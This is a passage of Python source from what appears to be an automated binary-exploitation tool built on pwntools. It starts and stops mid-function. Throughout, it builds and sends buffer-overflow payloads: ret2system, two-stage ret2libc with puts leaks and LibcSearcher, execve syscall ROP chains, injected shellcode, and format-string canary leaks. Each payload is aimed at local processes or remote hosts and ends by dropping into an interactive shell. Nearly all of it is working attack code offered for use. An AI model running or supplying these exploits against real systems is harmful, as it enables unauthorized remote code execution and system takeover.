    io.interactive()

def ret2_system_x32(program, libc, padding, libc_path):
    """ret2system exploitation (x32)"""
    print_section_header("EXPLOITATION: ret2system - x32")
    print_payload("preparing ret2system exploit")
    
    io = process(program)
    e = ELF(program)
    system_addr = e.symbols['system']
    bin_sh_addr = next(e.search(b'/bin/sh'))
    
    print_info(f"system address: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
    print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}")
    
    payload = asm('nop') * padding + p32(system_addr) + p32(0) + p32(bin_sh_addr)
    io.sendline(payload)
    
    handle_exploitation_success(
        exploit_type='ret2system - x32',
        payload=payload,
        padding=padding,
        addresses={'system_addr': system_addr, 'bin_sh_addr': bin_sh_addr},
        vulnerability_type='Buffer Overflow',
        architecture='x32'
    )
    io.interactive()

def ret2_system_x64(program, libc, padding, pop_rdi_addr, other_rdi_registers, ret_addr, libc_path):
    """ret2system exploitation (x64)"""
    print_section_header("EXPLOITATION: ret2system - x64")
    print_payload("preparing ret2system exploit")
    
    if pop_rdi_addr == None:
        print_error("pop rdi gadget not found, exploitation not possible")
        sys.exit(0)
    
    io = process(program)
    e = ELF(program)
    system_addr = e.symbols['system']
    bin_sh_addr = next(e.search(b'/bin/sh'))
    
    print_info(f"system address: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
    print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}")
    
    pop_rdi_addr = int(pop_rdi_addr, 16)
    pop_rdi_addr = p64(pop_rdi_addr)
    ret_addr = int(ret_addr, 16)
    ret_addr = p64(ret_addr)
    
    if other_rdi_registers == 1:
        payload = flat([asm('nop') * padding, pop_rdi_addr, p64(bin_sh_addr), p64(0), ret_addr, p64(system_addr), p64(0)])
    elif other_rdi_registers == 0:
        payload = flat([asm('nop') * padding, pop_rdi_addr, p64(bin_sh_addr), ret_addr, p64(system_addr)])
    
    io.sendline(payload)
    
    handle_exploitation_success(
        exploit_type='ret2system - x64',
        payload=payload,
        padding=padding,
        addresses={'system_addr': system_addr, 'bin_sh_addr': bin_sh_addr, 'pop_rdi_addr': pop_rdi_addr, 'ret_addr': ret_addr},
        vulnerability_type='Buffer Overflow',
        architecture='x64'
    )
    io.interactive()

def ret2_system_x32_remote(program, libc, padding, url, port):
    """ret2system exploitation (x32 remote)"""
    print_section_header("EXPLOITATION: ret2system - x32 Remote")
    print_payload("preparing ret2system exploit")
    
    io = remote(url, port)
    e = ELF(program)
    system_addr = e.symbols['system']
    bin_sh_addr = next(e.search(b'/bin/sh'))
    
    print_info(f"system address: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
    print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}")
    
    payload = asm('nop') * padding + p32(system_addr) + p32(0) + p32(bin_sh_addr)
    io.sendline(payload)
    print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
    io.interactive()

def ret2_system_x64_remote(program, libc, padding, pop_rdi_addr, other_rdi_registers, ret_addr, url, port):
    """ret2system exploitation (x64 remote)"""
    print_section_header("EXPLOITATION: ret2system - x64 Remote")
    print_payload("preparing ret2system exploit")
    
    if pop_rdi_addr == None:
        print_error("pop rdi gadget not found, exploitation not possible")
        sys.exit(0)
    
    io = remote(url, port)
    e = ELF(program)
    system_addr = e.symbols['system']
    bin_sh_addr = next(e.search(b'/bin/sh'))
    
    print_info(f"system address: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
    print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}")
    
    pop_rdi_addr = int(pop_rdi_addr, 16)
    pop_rdi_addr = p64(pop_rdi_addr)
    ret_addr = int(ret_addr, 16)
    ret_addr = p64(ret_addr)
    
    if other_rdi_registers == 1:
        payload = flat([asm('nop') * padding, pop_rdi_addr, p64(bin_sh_addr), p64(0), ret_addr, p64(system_addr), p64(0)])
    elif other_rdi_registers == 0:
        payload = flat([asm('nop') * padding, pop_rdi_addr, p64(bin_sh_addr), ret_addr, p64(system_addr)])
    
    io.sendline(payload)
    print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
    io.interactive()

def ret2libc_put_x32(program, libc, padding, libc_path):
    """ret2libc exploitation using puts function (x32)"""
    print_section_header("EXPLOITATION: ret2libc (puts) - x32")
    print_payload("preparing ret2libc exploit using puts function")
    
    io = process(program)
    if libc == 1:
        if libc_path == None:
            print_info("using LibcSearcher")
        else:
            print_info(f"using detected libc: {libc_path}")
            libc = ELF(libc_path)
    else:
        libc = ELF(libc)
    
    e = ELF(program)
    main_addr = e.symbols['main']
    puts_plt = e.symbols['puts']
    puts_got = e.got['puts']
    
    print_info(f"main address: {Colors.YELLOW}{hex(main_addr)}{Colors.END}")
    print_info(f"puts@plt: {Colors.YELLOW}{hex(puts_plt)}{Colors.END}")
    print_info(f"puts@got: {Colors.YELLOW}{hex(puts_got)}{Colors.END}")
    
    payload1 = asm('nop') * padding + p32(puts_plt) + p32(main_addr) + p32(puts_got)
    io.recv()
    io.sendline(payload1)
    
    puts_addr = u32(io.recvuntil(b'\xf7')[-4:])
    print_success(f"puts address leaked: {Colors.YELLOW}{hex(puts_addr)}{Colors.END}")
    
    if libc == 1:
        libc = LibcSearcher("puts", puts_addr)
        libcbase = puts_addr - libc.dump('puts')
        system_addr = libcbase + libc.dump('system')
        sh_addr = libcbase + libc.dump('str_bin_sh')
    else:
        libc_puts = libc.symbols['puts']
        system_addr = puts_addr - libc_puts + libc.symbols['system']
        sh_addr = puts_addr - libc_puts + next(libc.search(b'/bin/sh'))
    
    print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
    print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}")
    
    payload2 = asm('nop') * padding + p32(system_addr) + p32(0) + p32(sh_addr)
    io.sendline(payload2)
    
    # Handle successful exploitation
    handle_exploitation_success(
        'ret2libc (puts) - x32',
        payload2,
        padding,
        {
            'puts_plt': hex(puts_plt),
            'puts_got': hex(puts_got),
            'main': hex(main_addr),
            'puts_addr': hex(puts_addr),
            'system': hex(system_addr),
            'sh': hex(sh_addr)
        },
        'Stack Buffer Overflow',
        'x32'
    )
    
    print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
    io.interactive()

def ret2libc_put_x64(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, libc_path):
    """ret2libc exploitation using puts function (x64)"""
    print_section_header("EXPLOITATION: ret2libc (puts) - x64")
    print_payload("preparing ret2libc exploit using puts function")
    
    io = process(program)
    if libc == 1:
        if libc_path is None:
            print_info("using LibcSearcher")
        else:
            print_info(f"using detected libc: {libc_path}")
            libc = ELF(libc_path)
    else:
        libc = ELF(libc)
    
    e = ELF(program)
    main_addr = e.symbols['main']
    puts_plt = e.symbols['puts']
    puts_got = e.got['puts']
    
    pop_rdi_addr = int(pop_rdi_addr, 16)
    pop_rdi_addr = p64(pop_rdi_addr)
    
    # First payload: leak puts address from GOT
    payload1 = flat([
        asm('nop') * padding,
        pop_rdi_addr,
        p64(puts_got),
        p64(puts_plt),
        p64(main_addr)
    ])
    io.recv()
    io.sendline(payload1)
    
    puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    print_success(f"puts address leaked: {Colors.YELLOW}{hex(puts_addr)}{Colors.END}")
    
    # Calculate libc base and system, /bin/sh addresses
    if libc == 1:
        libc = LibcSearcher("puts", puts_addr)
        libcbase = puts_addr - libc.dump('puts')
        system_addr = libcbase + libc.dump('system')
        sh_addr = libcbase + libc.dump('str_bin_sh')
    else:
        libc_puts = libc.symbols['puts']
        system_addr = puts_addr - libc_puts + libc.symbols['system']
        sh_addr = puts_addr - libc_puts + next(libc.search(b'/bin/sh'))
    
    print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
    print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}")
    
    io.recv()
    ret_addr = p64(int(ret_addr, 16))
    
    # Second payload: call system("/bin/sh")
    if other_rdi_registers == 1:
        payload2 = flat([
            asm('nop') * padding,
            pop_rdi_addr,
            p64(sh_addr),
            p64(0),
            ret_addr,
            p64(system_addr),
            p64(0)
        ])
    else:
        payload2 = flat([
            asm('nop') * padding,
            pop_rdi_addr,
            p64(sh_addr),
            ret_addr,
            p64(system_addr)
        ])
    
    io.sendline(payload2)
    
    # Handle successful exploitation
    handle_exploitation_success(
        'ret2libc (puts) - x64',
        payload2,
        padding,
        {
            'puts_plt': hex(puts_plt),
            'puts_got': hex(puts_got),
            'main': hex(main_addr),
            'puts_addr': hex(puts_addr),
            'system': hex(system_addr),
            'sh': hex(sh_addr)
        },
        'Stack Buffer Overflow',
        'x64'
    )
    
    print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
    io.interactive()

def execve_syscall(program, padding, pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, ret_addr, int_0x80):
    """execve syscall exploitation (x32)"""
    print_section_header("EXPLOITATION: execve syscall - x32")
    print_payload("preparing execve syscall exploit")
    
    if pop_ecx_addr == None:
        io = process(program)
        e = ELF(program)
        bin_sh_addr = next(e.search(b'/bin/sh'))
        print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}")
        
        pop_eax_addr = int(pop_eax_addr, 16)
        pop_eax_addr = p32(pop_eax_addr)
        pop_ecx_ebx_addr = int(pop_ecx_ebx_addr, 16)
        pop_ecx_ebx_addr = p32(pop_ecx_ebx_addr)
        pop_edx_addr = int(pop_edx_addr, 16)
        pop_edx_addr = p32(pop_edx_addr)
        int_0x80 = int(int_0x80, 16)
        int_0x80 = p32(int_0x80)
        
        payload = flat([asm('nop') * padding, pop_eax_addr, 0xb, pop_ecx_ebx_addr, 0, bin_sh_addr, pop_edx_addr, 0, int_0x80])
        io.recv()
        io.sendline(payload)
        
        handle_exploitation_success(
            exploit_type='execve syscall - x32 (ecx_ebx)',
            payload=payload,
            padding=padding,
            addresses={'bin_sh_addr': bin_sh_addr, 'pop_eax_addr': pop_eax_addr, 'pop_ecx_ebx_addr': pop_ecx_ebx_addr, 'pop_edx_addr': pop_edx_addr, 'int_0x80': int_0x80},
            vulnerability_type='Buffer Overflow',
            architecture='x32'
        )
        io.interactive()
    else:
        io = process(program)
        e = ELF(program)
        bin_sh_addr = next(e.search(b'/bin/sh'))
        print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}")
        
        pop_eax_addr = int(pop_eax_addr, 16)
        pop_eax_addr = p32(pop_eax_addr)
        pop_ecx_addr = int(pop_ecx_addr, 16)
        pop_ecx_addr = p32(pop_ecx_addr)
        pop_ebx_addr = int(pop_ebx_addr, 16)
        pop_ebx_addr = p32(pop_ebx_addr)
        pop_edx_addr = int(pop_edx_addr, 16)
        pop_edx_addr = p32(pop_edx_addr)
        int_0x80 = int(int_0x80, 16)
        int_0x80 = p32(int_0x80)
        
        payload = flat([asm('nop') * padding, pop_eax_addr, 0xb, pop_ebx_addr, bin_sh_addr, pop_ecx_addr, 0, pop_edx_addr, 0, int_0x80])
        io.recv()
        io.sendline(payload)
        
        handle_exploitation_success(
            exploit_type='execve syscall - x32 (separate)',
            payload=payload,
            padding=padding,
            addresses={'bin_sh_addr': bin_sh_addr, 'pop_eax_addr': pop_eax_addr, 'pop_ebx_addr': pop_ebx_addr, 'pop_ecx_addr': pop_ecx_addr, 'pop_edx_addr': pop_edx_addr, 'int_0x80': int_0x80},
            vulnerability_type='Buffer Overflow',
            architecture='x32'
        )
        io.interactive()

def rwx_shellcode_x32(program, buf_addr, padding, function_name, ret_addr):
    """RWX shellcode exploitation (x32)"""
    print_section_header("EXPLOITATION: RWX Shellcode - x32")
    print_payload("preparing RWX shellcode exploit")
    
    io = process(program)
    elf = ELF(program)
    buf_addr = int(buf_addr, 16)
    buf_addr = p32(buf_addr)
    name_addr = elf.symbols[function_name]
    shellcode = asm(shellcraft.sh())
    
    print_info(f"shellcode storage: {Colors.YELLOW}{function_name}{Colors.END}")
    print_info(f"shellcode size: {Colors.YELLOW}{len(shellcode)}{Colors.END} bytes")
    
    payload = flat([shellcode.ljust(padding, asm('nop')), p32(name_addr)])
    io.recv()
    io.sendline(payload)
    print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
    io.interactive()

def rwx_shellcode_x64(program, buf_addr, padding, function_name, ret_addr, libc_path):
    """RWX shellcode exploitation (x64)"""
    print_section_header("EXPLOITATION: RWX Shellcode - x64")
    print_payload("preparing RWX shellcode exploit")
    
    io = process(program)
    elf = ELF(program)
    buf_addr = int(buf_addr, 16)
    buf_addr = p64(buf_addr)
    name_addr = elf.symbols[function_name]
    shellcode = asm(shellcraft.sh())
    
    print_info(f"shellcode storage: {Colors.YELLOW}{function_name}{Colors.END}")
    print_info(f"shellcode size: {Colors.YELLOW}{len(shellcode)}{Colors.END} bytes")
    
    payload = flat([shellcode.ljust(padding, asm('nop')), p64(name_addr)])
    io.recv()
    io.sendline(payload)
    print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
    io.interactive()

def ret2libc_put_x32_remote(program, libc, padding, url, port):
    """Remote ret2libc exploitation using puts for x32 architecture"""
    print_section_header("EXPLOITATION: ret2libc (puts) - x32 Remote")
    print_payload("preparing remote ret2libc exploit using puts function")
    
    io = remote(url, port)
    
    if libc == 1:
        print_info("using LibcSearcher for libc resolution")
    else:
        libc = ELF(libc)
    
    e = ELF(program)
    main_addr = e.symbols['main']
    puts_plt = e.symbols['puts']
    puts_got = e.got['puts']
    
    print_info(f"main address: {Colors.YELLOW}{hex(main_addr)}{Colors.END}")
    print_info(f"puts@plt: {Colors.YELLOW}{hex(puts_plt)}{Colors.END}")
    print_info(f"puts@got: {Colors.YELLOW}{hex(puts_got)}{Colors.END}")
    
    # First payload: leak puts address
    payload1 = asm('nop') * padding + p32(puts_plt) + p32(main_addr) + p32(puts_got)
    
    print_payload("sending puts leak payload")
    io.recv()
    io.sendline(payload1)
    
    # Receive leaked puts address
    puts_addr = u32(io.recvuntil(b'\xf7')[-4:])
    print_success(f"puts address leaked: {Colors.YELLOW}{hex(puts_addr)}{Colors.END}")
    
    if libc == 1:
        libc = LibcSearcher("puts", puts_addr)
        libcbase = puts_addr - libc.dump('puts')
        system_addr = libcbase + libc.dump('system')
        sh_addr = libcbase + libc.dump('str_bin_sh')
    else:
        libc_puts = libc.symbols['puts']
        system_addr = puts_addr - libc_puts + libc.symbols['system']
        sh_addr = puts_addr - libc_puts + next(libc.search(b'/bin/sh'))
    
    print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
    print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}")
    
    # Second payload: execute system("/bin/sh")
    payload2 = asm('nop') * padding + p32(system_addr) + p32(0) + p32(sh_addr)
    io.sendline(payload2)
    
    # Handle successful exploitation
    handle_exploitation_success(
        'ret2libc (puts) - x32 Remote',
        payload2,
        padding,
        {
            'puts_plt': hex(puts_plt),
            'puts_got': hex(puts_got),
            'main': hex(main_addr),
            'puts_addr': hex(puts_addr),
            'system': hex(system_addr),
            'sh': hex(sh_addr)
        },
        'Stack Buffer Overflow',
        'x32'
    )
    
    print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
    io.interactive()

def ret2libc_put_x64_remote(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, url, port):
    """Remote ret2libc exploitation using puts for x64 architecture"""
    print_section_header("EXPLOITATION: ret2libc (puts) - x64 Remote")
    print_payload("preparing remote ret2libc exploit using puts function")
    
    io = remote(url, port)
    if libc == 1:
        print_info("using LibcSearcher for libc resolution")
    else:
        libc = ELF(libc)
    
    e = ELF(program)
    main_addr = e.symbols['main']
    puts_plt = e.symbols['puts']
    puts_got = e.got['puts']
    
    pop_rdi_addr = int(pop_rdi_addr, 16)
    pop_rdi_addr = p64(pop_rdi_addr)
    
    # First payload: leak puts address from GOT
    payload1 = flat([
        asm('nop') * padding,
        pop_rdi_addr,
        p64(puts_got),
        p64(puts_plt),
        p64(main_addr)
    ])
    
    print_payload("sending puts leak payload")
    io.recv()
    io.sendline(payload1)
    
    # Receive leaked puts address
    puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    print_success(f"puts address leaked: {Colors.YELLOW}{hex(puts_addr)}{Colors.END}")
    
    # Calculate libc base and system, /bin/sh addresses
    if libc == 1:
        libc = LibcSearcher("puts", puts_addr)
        libcbase = puts_addr - libc.dump('puts')
        system_addr = libcbase + libc.dump('system')
        sh_addr = libcbase + libc.dump('str_bin_sh')
    else:
        libc_puts = libc.symbols['puts']
        system_addr = puts_addr - libc_puts + libc.symbols['system']
        sh_addr = puts_addr - libc_puts + next(libc.search(b'/bin/sh'))
    
    print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
    print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}")
    
    io.recv()
    ret_addr = p64(int(ret_addr, 16))
    
    # Second payload: call system("/bin/sh")
    if other_rdi_registers == 1:
        payload2 = flat([
            asm('nop') * padding,
            pop_rdi_addr,
            p64(sh_addr),
            p64(0),
            ret_addr,
            p64(system_addr),
            p64(0)
        ])
    else:
        payload2 = flat([
            asm('nop') * padding,
            pop_rdi_addr,
            p64(sh_addr),
            ret_addr,
            p64(system_addr)
        ])
    
    io.sendline(payload2)
    
    # Handle successful exploitation
    handle_exploitation_success(
        'ret2libc (puts) - x64 Remote',
        payload2,
        padding,
        {
            'puts_plt': hex(puts_plt),
            'puts_got': hex(puts_got),
            'main': hex(main_addr),
            'puts_addr': hex(puts_addr),
            'system': hex(system_addr),
            'sh': hex(sh_addr)
        },
        'Stack Buffer Overflow',
        'x64'
    )
    
    print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
    io.interactive()

def execve_syscall_remote(program, padding, pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, ret_addr, int_0x80, url, port):
    """Remote execve syscall exploitation for x32 architecture"""
    print_section_header("EXPLOITATION: execve syscall - x32 Remote")
    print_payload("preparing remote execve syscall exploit")
    
    io = remote(url, port)
    
    if pop_ecx_addr == None:
        e = ELF(program)
        bin_sh_addr = next(e.search(b'/bin/sh'))
        print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}")
        
        pop_eax_addr = int(pop_eax_addr, 16)
        pop_eax_addr = p32(pop_eax_addr)
        pop_ecx_ebx_addr = int(pop_ecx_ebx_addr, 16)
        pop_ecx_ebx_addr = p32(pop_ecx_ebx_addr)
        pop_edx_addr = int(pop_edx_addr, 16)
        pop_edx_addr = p32(pop_edx_addr)
        int_0x80 = int(int_0x80, 16)
        int_0x80 = p32(int_0x80)
        
        payload = flat([asm('nop') * padding, pop_eax_addr, 0xb, pop_ecx_ebx_addr, 0, bin_sh_addr, pop_edx_addr, 0, int_0x80])
        io.recv()
        io.sendline(payload)
        print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
        io.interactive()
    else:
        e = ELF(program)
        bin_sh_addr = next(e.search(b'/bin/sh'))
        print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}")
        
        pop_eax_addr = int(pop_eax_addr, 16)
        pop_eax_addr = p32(pop_eax_addr)
        pop_ecx_addr = int(pop_ecx_addr, 16)
        pop_ecx_addr = p32(pop_ecx_addr)
        pop_ebx_addr = int(pop_ebx_addr, 16)
        pop_ebx_addr = p32(pop_ebx_addr)
        pop_edx_addr = int(pop_edx_addr, 16)
        pop_edx_addr = p32(pop_edx_addr)
        int_0x80 = int(int_0x80, 16)
        int_0x80 = p32(int_0x80)
        
        payload = flat([asm('nop') * padding, pop_eax_addr, 0xb, pop_ebx_addr, bin_sh_addr, pop_ecx_addr, 0, pop_edx_addr, 0, int_0x80])
        io.recv()
        io.sendline(payload)
        print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
        io.interactive()

def rwx_shellcode_x32_remote(program, buf_addr, padding, function_name, ret_addr, url, port):
    """Remote RWX shellcode exploitation for x32 architecture"""
    print_section_header("EXPLOITATION: RWX Shellcode - x32 Remote")
    print_payload("preparing remote RWX shellcode exploit")
    
    io = remote(url, port)
    elf = ELF(program)
    buf_addr = int(buf_addr, 16)
    buf_addr = p32(buf_addr)
    name_addr = elf.symbols[function_name]
    shellcode = asm(shellcraft.sh())
    
    print_info(f"shellcode storage: {Colors.YELLOW}{function_name}{Colors.END}")
    print_info(f"shellcode size: {Colors.YELLOW}{len(shellcode)}{Colors.END} bytes")
    
    payload = flat([shellcode.ljust(padding, asm('nop')), p32(name_addr)])
    io.recv()
    io.sendline(payload)
    print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
    io.interactive()

def rwx_shellcode_x64_remote(program, buf_addr, padding, function_name, ret_addr, url, port):
    """Remote RWX shellcode exploitation for x64 architecture"""
    print_section_header("EXPLOITATION: RWX Shellcode - x64 Remote")
    print_payload("preparing remote RWX shellcode exploit")
    
    io = remote(url, port)
    elf = ELF(program)
    buf_addr = int(buf_addr, 16)
    buf_addr = p64(buf_addr)
    name_addr = elf.symbols[function_name]
    shellcode = asm(shellcraft.sh())
    
    print_info(f"shellcode storage: {Colors.YELLOW}{function_name}{Colors.END}")
    print_info(f"shellcode size: {Colors.YELLOW}{len(shellcode)}{Colors.END} bytes")
    
    payload = flat([shellcode.ljust(padding, asm('nop')), p64(name_addr)])
    io.recv()
    io.sendline(payload)
    print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
    io.interactive()

def ret2libc_put_canary_x32(program,libc,libc_path,padding,c,diff):
	"""ret2libc exploitation with canary bypass using puts for x32 architecture"""
	print_section_header("EXPLOITATION: ret2libc (puts) with Canary Bypass - x32")
	print_payload("preparing ret2libc exploit with canary bypass using puts function")
	
	io = process(program)
	if libc == 1:
		if libc_path == None:
			print_info("using LibcSearcher for libc resolution")
		else:	
			print_info("using user specified libc path")
			libc = ELF(libc_path)
	else:
		libc = ELF(libc)
	e = ELF(program)
	main_addr = e.symbols['main']
	puts_plt = e.symbols['puts']
	puts_got = e.got['puts']

	print_info(f"leaking canary value at position {Colors.YELLOW}{c}{Colors.END}")
	io.recv()
	io.sendline(f'%{c}$p'.encode())
	result = io.recvline().decode().strip()
	print_success(f"canary value: {Colors.YELLOW}{result}{Colors.END}")
	result = int(result, 16)
	canary = p32(result)

	print_info("constructing stage 1 payload to leak puts address")
	payload1 = flat([asm('nop') * padding , canary , b'AAAA' * diff , p32(puts_plt) , p32(main_addr) , p32(puts_got)])
	io.recv()
	io.sendline(payload1)

	puts_addr=u32(io.recvuntil(b'\xf7')[-4:])
	print_success(f"puts function address in libc: {Colors.YELLOW}{hex(puts_addr)}{Colors.END}")

	print_info("calculating libc base and target addresses")
	if libc == 1:
		libc = LibcSearcher("puts",puts_addr)
		libcbase = puts_addr - libc.dump('puts')
		libc_system = libc.dump('system')
		libc_sh = libc.dump('str_bin_sh')
		system_addr = libcbase + libc_system
		print_success(f"system function address in libc: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
		sh_addr = libcbase + libc_sh
		print_success(f"/bin/sh string address in libc: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}")
	else:
		libc_puts = libc.symbols['puts']
		libc_system = libc.symbols['system']
		libc_sh = next(libc.search(b'/bin/sh'))
		system_addr = puts_addr - libc_puts + libc_system
		print_success(f"system function address in libc: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
		sh_addr = puts_addr - libc_puts + libc_sh
		print_success(f"/bin/sh string address in libc: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}")

	print_info("re-leaking canary for stage 2 exploit")
	io.recv()
	io.sendline(f'%{c}$p'.encode())
	io.recv()
	print_info("constructing stage 2 payload for system call")
	payload2 = flat([asm('nop') * padding , canary , b'AAAA' * diff , p32(system_addr) , p32(0) , p32(sh_addr)])
	io.sendline(payload2)
	print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
	io.interactive()

def ret2libc_put_x32_canary_remote(program,libc,padding,url,port,c,diff):
	"""Remote ret2libc exploitation with canary bypass using puts for x32 architecture"""
	print_section_header("EXPLOITATION: ret2libc (puts) with Canary Bypass - x32 Remote")
	print_payload(f"preparing remote ret2libc exploit with canary bypass to {Colors.YELLOW}{url}:{port}{Colors.END}")
	
	io = remote(url,port)
	if libc == 1:
		if libc_path == None:
			print_info("using LibcSearcher for libc resolution")
		else:	
			print_info("using user specified libc path")
			libc = ELF(libc_path)
	else:
		libc = ELF(libc)
	e = ELF(program)
	main_addr = e.symbols['main']
	puts_plt = e.symbols['puts']
	puts_got = e.got['puts']

	print_info(f"leaking canary value at position {Colors.YELLOW}{c}{Colors.END}")
	io.recv()
	io.sendline(f'%{c}$p'.encode())
	result = io.recvline().decode().strip()
	print_success(f"canary value: {Colors.YELLOW}{result}{Colors.END}")
	result = int(result, 16)
	canary = p32(result)

	print_info("constructing stage 1 payload to leak puts address")
	payload1 = flat([asm('nop') * padding , canary , b'AAAA' * diff , p32(puts_plt) , p32(main_addr) , p32(puts_got)])
	io.recv()
	io.sendline(payload1)

	puts_addr=u32(io.recvuntil(b'\xf7')[-4:])
	print_success(f"puts function address in libc: {Colors.YELLOW}{hex(puts_addr)}{Colors.END}")

	print_info("calculating libc base and target addresses")
	if libc == 1:
		libc = LibcSearcher("puts",puts_addr)
		libcbase = puts_addr - libc.dump('puts')
		libc_system = libc.dump('system')
		libc_sh = libc.dump('str_bin_sh')
		system_addr = libcbase + libc_system
		print_success(f"system function address in libc: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
		sh_addr = libcbase + libc_sh
		print_success(f"/bin/sh string address in libc: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}")
	else:
		libc_puts = libc.symbols['puts']
		libc_system = libc.symbols['system']
		libc_sh = next(libc.search(b'/bin/sh'))
		system_addr = puts_addr - libc_puts + libc_system
		print_success(f"system function address in libc: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
		sh_addr = puts_addr - libc_puts + libc_sh
		print_success(f"/bin/sh string address in libc: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}")

	print_info("re-leaking canary for stage 2 exploit")
	io.recv()
	io.sendline(f'%{c}$p'.encode())
	io.recv()
	print_info("constructing stage 2 payload for system call")
	payload2 = flat([asm('nop') * padding , canary , b'AAAA' * diff , p32(system_addr) , p32(0) , p32(sh_addr)])
	io.sendline(payload2)
	print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
	io.interactive()

def ret2libc_put_canary_x64(program,libc,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,libc_path,padding,c,diff):
	io = process(program)
	if libc == 1:
		if libc_path == None:
			print_info('Using LibcSearcher')
		else:	
			print_warning('User did not specify libc path')
			libc = ELF(libc_path)
	else:
		libc = ELF(libc)
	e = ELF(program)
	main_addr = e.symbols['main']
	puts_plt = e.symbols['puts']
	puts_got = e.got['puts']

	pop_rdi_addr = int(pop_rdi_addr, 16)
	pop_rdi_addr = p64(pop_rdi_addr)
	io.recv()
	io.sendline(f'%{c}$p'.encode())
	result = io.recvline().decode().strip()
	print(f"Canary value is: {result}")
	result = int(result, 16)
	canary = p64(result)

	payload1 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff , pop_rdi_addr , p64(puts_got), p64(puts_plt) , p64(main_addr)])
	io.recv()
	io.sendline(payload1)

	puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
	print(f'[*]puts function address in libc: \033[31m{hex(puts_addr)}\033[0m')

	if libc == 1:
		libc = LibcSearcher("puts",puts_addr)
		libcbase = puts_addr - libc.dump('puts')
		libc_system = libc.dump('system')
		libc_sh = libc.dump('str_bin_sh')
		system_addr = libcbase + libc_system
		print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m')
		sh_addr = libcbase + libc_sh
		print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m')
		print('\033[31m[*]PWN!!!\033[0m')
	else:
		libc_puts = libc.symbols['puts']
		libc_system = libc.symbols['system']
		libc_sh = next(libc.search(b'/bin/sh'))
		system_addr = puts_addr - libc_puts + libc_system
		print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m')
		sh_addr = puts_addr - libc_puts + libc_sh
		print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m')
		print('\033[31m[*]PWN!!!\033[0m')

	io.recv()
	io.sendline(f'%{c}$p'.encode())
	io.recv()
	ret_addr = int(ret_addr, 16)
	ret_addr = p64(ret_addr)
	if other_rdi_registers == 1:
		payload2 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff , pop_rdi_addr , p64(sh_addr), p64(0),ret_addr, p64(system_addr) , p64(0)])
	else:
		payload2 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff , pop_rdi_addr , p64(sh_addr) ,ret_addr,p64(system_addr)])
	io.sendline(payload2)
	io.interactive()

def ret2libc_put_x64_canary_remote(program,libc,padding,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,url,port,c,diff):
	io = remote(url,port)
	if libc == 1:
		if libc_path == None:
			print('[*]Using LibcSearcher')
		else:	
			print('[*]User did not specify libc path')
			libc = ELF(libc_path)
	else:
		libc = ELF(libc)
	e = ELF(program)
